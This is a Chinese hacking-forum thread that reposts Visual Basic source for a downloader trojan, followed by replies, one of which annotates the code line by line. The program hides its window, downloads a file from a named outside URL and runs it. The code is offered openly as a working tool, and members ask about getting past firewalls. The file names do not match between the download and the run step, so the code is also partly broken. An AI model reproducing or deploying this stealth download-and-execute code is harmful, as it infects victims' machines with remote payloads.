打印

[转帖] 用VB写下载者最短代码

用VB写下载者最短代码

用VB写下载者最短代码



Private Declare Function URLDownloadToFile Lib "urlmon" Alias "URLDownloadToFileA" (ByVal pCaller As Long, ByVal szURL As String, ByVal szFileName As String, ByVal dwReserved As Long, ByVal lpfnCB As Long) As Long

Private Sub Form_Load()
Me.VISIBLE = false
DownloadFile "http://www.chinanethack.com/SFDO/FHQ40.RAR", App.Path & "\FHQ30A.RAR"
End Sub

Public Function DownloadFile(URL As String, LocalFilename As String) As Boolean
Dim lngRetVal As Long
lngRetVal = URLDownloadToFile(0, URL, LocalFilename, 0, 0)
If lngRetVal = 0 Then
DownloadFile = True
Shell App.Path & "\FHQ40.RAR"
End If
End Function
本帖最近评分记录
  • flyli 金币 +10 我很赞同 2006-12-21 15:00

你说是就是吧
customavatars/10719.gif

TOP

代码虽然很短,但是麻雀虽小,五脏俱全

不过虽然程序简单,但是加上些详细的注释能更方便大家阅读就好了

虽然是转载,但是楼主在转载之前肯定读过,所以根据自己读时的理解加上注释也是可以的:handshake
学了6年了,还是初学者。。。。。。。。

TOP

怎么到处都是vb啊````````````````

TOP

既然版主对此那么看中我很想听听版主的见解.....
版主能不能让大家有个更深的理解怎么样?

你说是就是吧
customavatars/10719.gif

TOP

Private Declare Function URLDownloadToFile Lib "urlmon" Alias "URLDownloadToFileA" (ByVal pCaller As Long, ByVal szURL As String, ByVal szFileName As String, ByVal dwReserved As Long, ByVal lpfnCB As Long) As Long
'声明URLDownloadToFile这个API函数,是标准的windowsAPI
'但这个函数在VB中似乎不是常见函数,没有具体的参数解释,不过通过字面多少能猜到几分了,常在C#中使用吧大概.


Private Sub Form_Load()'窗体加载事件
Me.VISIBLE = false'自身不可见
DownloadFile "http://www.chinanethack.com/SFDO/FHQ40.RAR", App.Path & "\FHQ30A.RAR" '下载网址保存至程序自身所在文件夹目录下,命名为FHQ30A.Rar
End Sub

Public Function DownloadFile(URL As String, LocalFilename As String) As Boolean '声明Downloadfile这个自定义事件为Boolean类型
Dim lngRetVal As Long'定义lngRetVal为长整形
lngRetVal = URLDownloadToFile(0, URL, LocalFilename, 0, 0)得到URLDownloadToFile返回的long型的数据
If lngRetVal = 0 Then '返回值为0的时候,即下载完毕
DownloadFile = True '这里注意,DownloadFile为BOOLEAN型,也就是说,这个地方只是一个事件接口,没有在IF里进行判断,对下面的语句不会造成影响,不信自己改成FALSE看看
Shell App.Path & "\FHQ40.RAR"'运行下载下来的RAR
End If
End Function

好东西.先解释了下。顶出来给大家看啊。.
愤怒的晕晕
http://hi.baidu.com/yun83

TOP

关于这个,我在想,这个应该是一个线成在下载所以如果大点的文件速度会很慢,如果开双线成的话,累是讯雷那样的查不多很快!我记得以前用flashget下载总提示说分成几块下载,大概就是这个原理。

学编程???请来。http://www.hackerxfiles.net/forum-13-1.html.一起学习。编程并不是一个人的战争!

TOP

不错不错,代码够精简的,只一个api——URLDownloadToFile
这个下载者不具有穿透防火墙的功能吧

TOP

呵呵,这个不错,VB编写的程序简单但是功能强大,也收藏了。
研究VB和C++技术,X杂志忠实读者

TOP

Processed in 0.050270 second(s), 6 queries, Gzip enabled.